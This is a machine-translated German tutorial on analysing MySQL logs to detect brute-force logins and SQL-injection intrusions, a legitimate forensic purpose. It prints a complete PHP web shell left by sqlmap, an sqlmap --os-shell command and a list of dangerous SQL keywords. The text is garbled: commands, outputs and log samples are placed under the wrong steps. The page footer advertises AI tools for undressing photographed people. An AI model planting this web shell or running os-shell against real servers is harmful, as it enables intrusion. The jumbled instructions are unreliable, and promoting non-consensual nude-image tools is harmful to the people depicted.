So analysieren Sie Datenbankprotokolle
Zu den häufigsten Datenbankangriffen gehören schwache Passwörter, SQL-Injection, erhöhte Berechtigungen, gestohlene Backups usw. Durch die Analyse von Datenbankprotokollen können Angriffsverhalten entdeckt, Angriffsszenarien weiter wiederhergestellt und Angriffsquellen zurückverfolgt werden.
1. MySQL-Protokollanalyse
Das allgemeine Abfrageprotokoll kann erfolgreiche Verbindungen und jede ausgeführte Abfrage aufzeichnen. Wir können es als Teil der Sicherheitsbereitstellung verwenden Grundlage für Analysen oder Post-Hacking-Ermittlungen.
1. Protokollkonfigurationsinformationen anzeigen
show variables like '%general%';
2. Protokolldateipfad angeben
SET GLOBAL general_log = 'On';
Zum Beispiel wann Ich besuche /test .php?id=1, zu diesem Zeitpunkt erhalten wir ein Protokoll wie dieses:
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
Analysieren wir es nach Spalte:
Die erste Spalte: Zeit, die Zeitspalte, Das erste ist das Datum, das letzte ist das Datum. Eins sind Stunden und Minuten. Ein Grund dafür, dass sie nicht angezeigt werden, liegt darin, dass diese SQL-Anweisungen fast gleichzeitig ausgeführt werden und die Zeit daher nicht separat aufgezeichnet wird.
Die zweite Spalte: Id ist die Thread-ID in der ersten Spalte der Show Processlist. Bei langen Verbindungen und einigen zeitaufwändigen SQL-Anweisungen können Sie genau herausfinden, welcher Thread ausgeführt wird.
Die dritte Spalte: Befehl, Operationstyp, zum Beispiel „Verbinden“ dient zum Herstellen einer Verbindung zur Datenbank und „Abfrage“ zum Abfragen der Datenbank (Hinzufügungen, Löschungen, Überprüfungen und Änderungen werden alle als Abfragen angezeigt) und einige Vorgänge können gezielt gefiltert werden.
Die vierte Spalte: Argument, detaillierte Informationen, zum Beispiel „Root@localhost verbinden“ bedeutet, eine Verbindung zur Datenbank herzustellen usw., welche Abfragevorgänge nach der Verbindung zur Datenbank ausgeführt wurden.
2. Anmeldung erfolgreich/fehlgeschlagenFühren Sie einen einfachen Test durch, den ich zuvor entwickelt habe. Die Wörterbucheinstellung ist relativ klein. 2 Benutzer, 4 Passwörter, insgesamt 8 Gruppen.
Der Protokolldatensatz in MySQL sieht folgendermaßen aus:
190604 14:46:14 14 Connect root@localhost on 14 Init DB test 14 Query SELECT * FROM admin WHERE id = 1 14 Quit
Wissen Sie, welches bei diesem Passwort-Rateprozess erfolgreich ist?
Mit Sprengwerkzeugen sieht ein erfolgreicher Passwort-Rate-Datensatz so aus:
Time Id Command Argument 190601 22:03:20 98 Connect root@192.168.204.1 on 98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 103 Connect mysql@192.168.204.1 on 103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 104 Connect mysql@192.168.204.1 on 104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Connect root@192.168.204.1 on 101 Connect root@192.168.204.1 on 101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 99 Connect root@192.168.204.1 on 99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 105 Connect mysql@192.168.204.1 on 105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Query set autocommit=0 102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Quit
Wenn Sie jedoch andere Methoden verwenden, kann es etwas anders aussehen.
Navicat für MySQL-Anmeldung:
190601 22:03:20 100 Connectroot@192.168.204.1 on 100 Queryset autocommit=0 100 Quit
Befehlszeilen-Anmeldung:
190601 22:14:07 106 Connectroot@192.168.204.1 on 106 QuerySET NAMES utf8 106 QuerySHOW VARIABLES LIKE 'lower_case_%' 106 QuerySHOW VARIABLES LIKE 'profiling' 106 QuerySHOW DATABASES
Der Unterschied besteht darin, dass verschiedene Datenbankverbindungstools unterschiedliche Initialisierungsprozesse für die Verbindung zur Datenbank haben. Durch diesen Unterschied können wir einfach bestimmen, wie der Benutzer eine Verbindung zur Datenbank herstellt.
Darüber hinaus wird bei Anmeldefehlern immer derselbe Eintrag angezeigt, unabhängig davon, ob Sie ein Blasting-Tool, Navicat für MySQL oder die Befehlszeile verwenden.
Aufzeichnung der fehlgeschlagenen Anmeldung:
190601 22:17:25 111 Connectroot@localhost on 111 Queryselect @@version_comment limit 1 190601 22:17:56 111 Quit
Verwenden Sie den Shell-Befehl für eine einfache Analyse:
Welche IPs werden gesprengt?
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
Was sind die Wörterbücher für explosive Benutzernamen?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1
Bei der Protokollanalyse muss einigen sensiblen Vorgängen besondere Aufmerksamkeit gewidmet werden, z. B. dem Löschen von Tabellen, dem Vorbereiten von Datenbanken, dem Lesen und Schreiben von Dateien usw.
Schlüsselwörter: Tabelle löschen, Funktion löschen, Tabellen sperren, Tabellen entsperren, load_file(), in Outfile, in Dumpfile.
Sensible Datenbanktabellen: SELECT * von mysql.user, SELECT * von mysql.funcAusnutzung von SQL-Injection-Schwachstellen während Während des Prozesses werden wir versuchen, den Parameter --os-shell von sqlmap zu verwenden, um die Shell abzurufen. Wenn der Vorgang nicht sorgfältig durchgeführt wird, bleiben möglicherweise einige von sqlmap erstellte temporäre Tabellen und benutzerdefinierten Funktionen zurück. Werfen wir zunächst einen Blick auf die Verwendung und das Prinzip der SQLMAP-OS-Shell-Parameter:
1. Erstellen Sie einen SQL-Injection-Punkt und ermöglichen Sie Burp, Port 8080 abzuhören.
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr 13 mysql 12 root 1 root 1 mysql
Der HTTP-Kommunikationsprozess ist wie folgt:
Erstellt eine temporäre Datei tmpbwyov.php, führt Systembefehle durch Zugriff auf diesen Trojaner aus und kehrt zur Seitenanzeige zurück.
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
hat eine temporäre Tabelle sqlmapoutput erstellt, die gespeicherte Prozedur aufgerufen, um Systembefehle zum Schreiben von Daten in die temporäre Tabelle auszuführen, und dann die Daten aus der temporären Tabelle übernommen und im Frontend angezeigt.
Indem Sie die kürzlich erstellten verdächtigen Dateien im Website-Verzeichnis überprüfen, können Sie feststellen, ob ein SQL-Injection-Schwachstellenangriff stattgefunden hat.
Überprüfungsmethode:
Überprüfen Sie, ob sich im Website-Verzeichnis einige Trojaner-Dateien befinden:
2 eine UDF-Datei Spuren von Privilegien und MOF-Privilegienausweitung
Überprüfen Sie, ob abnormale Dateien im Verzeichnis vorhanden sind
tmpbwyov.php: <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."
Überprüfen Sie, ob die Funktion gelöscht wurde
mysqllibpluginc:/windows/system32/wbem/mof/
3 Weblog-Analyse.
Empfohlenes Tutorial:
Webserver-SicherheitDas obige ist der detaillierte Inhalt vonSo analysieren Sie Datenbankprotokolle. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Die Go-Sprache ist eine effiziente, prägnante und leicht zu erlernende Programmiersprache. Sie wird von Entwicklern aufgrund ihrer Vorteile bei der gleichzeitigen Programmierung und Netzwerkprogrammierung bevorzugt. In der tatsächlichen Entwicklung sind Datenbankoperationen ein unverzichtbarer Bestandteil. In diesem Artikel wird erläutert, wie die Go-Sprache zum Implementieren von Datenbank-Hinzufügungs-, Lösch-, Änderungs- und Abfrageoperationen verwendet wird. In der Go-Sprache verwenden wir normalerweise Bibliotheken von Drittanbietern, um Datenbanken zu betreiben, z. B. häufig verwendete SQL-Pakete, Gorm usw. Hier nehmen wir das SQL-Paket als Beispiel, um vorzustellen, wie die Hinzufügungs-, Lösch-, Änderungs- und Abfragevorgänge der Datenbank implementiert werden. Angenommen, wir verwenden eine MySQL-Datenbank.

Die polymorphe Hibernate-Zuordnung kann geerbte Klassen der Datenbank zuordnen und bietet die folgenden Zuordnungstypen: Joined-Subclass: Erstellen Sie eine separate Tabelle für die Unterklasse, einschließlich aller Spalten der übergeordneten Klasse. Tabelle pro Klasse: Erstellen Sie eine separate Tabelle für Unterklassen, die nur unterklassenspezifische Spalten enthält. Union-Unterklasse: ähnelt der verbundenen Unterklasse, aber die Tabelle der übergeordneten Klasse vereint alle Spalten der Unterklasse.

Apples neueste Versionen der iOS18-, iPadOS18- und macOS Sequoia-Systeme haben der Fotoanwendung eine wichtige Funktion hinzugefügt, die Benutzern dabei helfen soll, aus verschiedenen Gründen verlorene oder beschädigte Fotos und Videos einfach wiederherzustellen. Mit der neuen Funktion wird im Abschnitt „Extras“ der Fotos-App ein Album mit dem Namen „Wiederhergestellt“ eingeführt, das automatisch angezeigt wird, wenn ein Benutzer Bilder oder Videos auf seinem Gerät hat, die nicht Teil seiner Fotobibliothek sind. Das Aufkommen des Albums „Wiederhergestellt“ bietet eine Lösung für Fotos und Videos, die aufgrund einer Datenbankbeschädigung verloren gehen, die Kameraanwendung nicht korrekt in der Fotobibliothek speichert oder eine Drittanbieteranwendung die Fotobibliothek verwaltet. Benutzer benötigen nur wenige einfache Schritte

HTML kann die Datenbank nicht direkt lesen, dies kann jedoch über JavaScript und AJAX erreicht werden. Zu den Schritten gehören das Herstellen einer Datenbankverbindung, das Senden einer Abfrage, das Verarbeiten der Antwort und das Aktualisieren der Seite. Dieser Artikel bietet ein praktisches Beispiel für die Verwendung von JavaScript, AJAX und PHP zum Lesen von Daten aus einer MySQL-Datenbank und zeigt, wie Abfrageergebnisse dynamisch auf einer HTML-Seite angezeigt werden. In diesem Beispiel wird XMLHttpRequest verwendet, um eine Datenbankverbindung herzustellen, eine Abfrage zu senden und die Antwort zu verarbeiten. Dadurch werden Daten in Seitenelemente gefüllt und die Funktion des HTML-Lesens der Datenbank realisiert.

So verwenden Sie MySQLi zum Herstellen einer Datenbankverbindung in PHP: MySQLi-Erweiterung einbinden (require_once) Verbindungsfunktion erstellen (functionconnect_to_db) Verbindungsfunktion aufrufen ($conn=connect_to_db()) Abfrage ausführen ($result=$conn->query()) Schließen Verbindung ( $conn->close())

Um Datenbankverbindungsfehler in PHP zu behandeln, können Sie die folgenden Schritte ausführen: Verwenden Sie mysqli_connect_errno(), um den Fehlercode abzurufen. Verwenden Sie mysqli_connect_error(), um die Fehlermeldung abzurufen. Durch die Erfassung und Protokollierung dieser Fehlermeldungen können Datenbankverbindungsprobleme leicht identifiziert und behoben werden, wodurch der reibungslose Betrieb Ihrer Anwendung gewährleistet wird.

PHP ist eine Back-End-Programmiersprache, die in der Website-Entwicklung weit verbreitet ist. Sie verfügt über leistungsstarke Datenbankbetriebsfunktionen und wird häufig zur Interaktion mit Datenbanken wie MySQL verwendet. Aufgrund der Komplexität der Kodierung chinesischer Zeichen treten jedoch häufig Probleme beim Umgang mit verstümmelten chinesischen Zeichen in der Datenbank auf. In diesem Artikel werden die Fähigkeiten und Praktiken von PHP beim Umgang mit chinesischen verstümmelten Zeichen in Datenbanken vorgestellt, einschließlich häufiger Ursachen für verstümmelte Zeichen, Lösungen und spezifischer Codebeispiele. Häufige Gründe für verstümmelte Zeichen sind falsche Einstellungen für den Datenbank-Zeichensatz: Beim Erstellen der Datenbank muss der richtige Zeichensatz ausgewählt werden, z. B. utf8 oder u

Durch die Verwendung der Datenbank-Rückruffunktion in Golang kann Folgendes erreicht werden: Ausführen von benutzerdefiniertem Code, nachdem der angegebene Datenbankvorgang abgeschlossen ist. Fügen Sie benutzerdefiniertes Verhalten durch separate Funktionen hinzu, ohne zusätzlichen Code zu schreiben. Rückruffunktionen stehen für Einfüge-, Aktualisierungs-, Lösch- und Abfragevorgänge zur Verfügung. Sie müssen die Funktion sql.Exec, sql.QueryRow oder sql.Query verwenden, um die Rückruffunktion verwenden zu können.
